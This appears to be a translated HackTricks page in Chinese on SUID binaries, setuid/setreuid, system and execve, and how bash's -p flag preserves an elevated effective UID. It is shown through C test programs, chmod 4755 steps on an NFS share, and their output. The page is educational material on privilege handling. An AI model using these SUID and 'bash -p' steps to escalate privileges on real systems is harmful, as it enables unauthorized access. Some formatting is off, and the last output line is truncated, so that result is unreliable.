#### **`system`函数**

* **功能**：与`execve`不同，`system`使用`fork`创建一个子进程，并在该子进程中使用`execl`执行命令。
* **命令执行**：通过`execl("/bin/sh", "sh", "-c", command, (char *) NULL);`执行命令。
* **行为**：由于`execl`是`execve`的一种形式，它的操作类似，但在新的子进程的上下文中进行。
* **文档**：更多见[`system` man页面](https://man7.org/linux/man-pages/man3/system.3.html)。

#### **`bash`和`sh`在SUID下的行为**

* **`bash`**：
* 具有`-p`选项影响`euid`和`ruid`的处理方式。
* 没有`-p`，如果`bash`最初设置`euid`与`ruid`不同，则将`euid`设置为`ruid`。
* 使用`-p`，保留初始`euid`。
* 更多细节请参阅[`bash` man页面](https://linux.die.net/man/1/bash)。
* **`sh`**：
* 不具有类似于`bash`中的`-p`机制。
* 关于用户ID的行为没有明确说明，除了在`-i`选项下，强调保持`euid`和`ruid`的相等性。
* 更多信息请参阅[`sh` man页面](https://man7.org/linux/man-pages/man1/sh.1p.html)。

这些机制在操作上各有不同，为执行和在程序之间转换提供了多样的选项，特定情况下对用户ID的管理和保留方式也有特定的细微差别。

### 在执行中测试用户ID行为

示例取自<https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail，查看更多信息>

#### 情况1：使用`setuid`与`system`

**目标**：了解`setuid`与`system`和`bash`作为`sh`结合的效果。

**C代码**：

```c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
setuid(1000);
system("id");
return 0;
}
```

**编译和权限：**

```bash
oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;
oxdf@hacky$ chmod 4755 /mnt/nfsshare/a
```

```bash
bash-4.2$ $ ./a
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```

**分析:**

* `ruid` 和 `euid` 起始值分别为 99 (nobody) 和 1000 (frank)。
* `setuid` 将两者都设置为 1000。
* 由于从 sh 到 bash 的符号链接，`system` 执行 `/bin/bash -c id`。
* `bash` 在没有 `-p` 的情况下，调整 `euid` 以匹配 `ruid`，导致两者都变为 99 (nobody)。

#### 情况 2: 使用 setreuid 与 system

**C 代码**:

```c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
setreuid(1000, 1000);
system("id");
return 0;
}
```

**编译和权限：**

```bash
oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b
```

**执行和结果:**

```bash
bash-4.2$ $ ./b
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```

**分析:**

* `setreuid` 将 ruid 和 euid 都设置为 1000。
* `system` 调用 bash，由于它们相等，有效地作为 frank 运行。

#### 情况 3: 使用 setuid 与 execve

目标: 探索 setuid 和 execve 之间的交互。

```bash
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
setuid(1000);
execve("/usr/bin/id", NULL, NULL);
return 0;
}
```

**执行和结果:**

```bash
bash-4.2$ $ ./c
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```

**分析:**

* `ruid` 保持为99，但 `euid` 被设置为1000，符合 `setuid` 的效果。

**C 代码示例 2 (调用 Bash):**

```bash
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
setuid(1000);
execve("/bin/bash", NULL, NULL);
return 0;
}
```

**执行和结果：**

```bash
bash-4.2$ $ ./d
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```

**分析:**

* 尽管`setuid`将`euid`设置为1000，但由于缺少`-p`，`bash`会将euid重置为`ruid`（99）。

**C代码示例3（使用bash -p）:**

```bash
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
setuid(1000);
execve(paramList[0], paramList, NULL);
return 0;
}
```

**执行和结果：**

```bash
bash-4.2$ $ ./e
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) euid=100
```

## 参考资料

* <https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**？ 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>




---

[Next Page](https://hacktricks.xsx.tw/llms-full.txt/1)

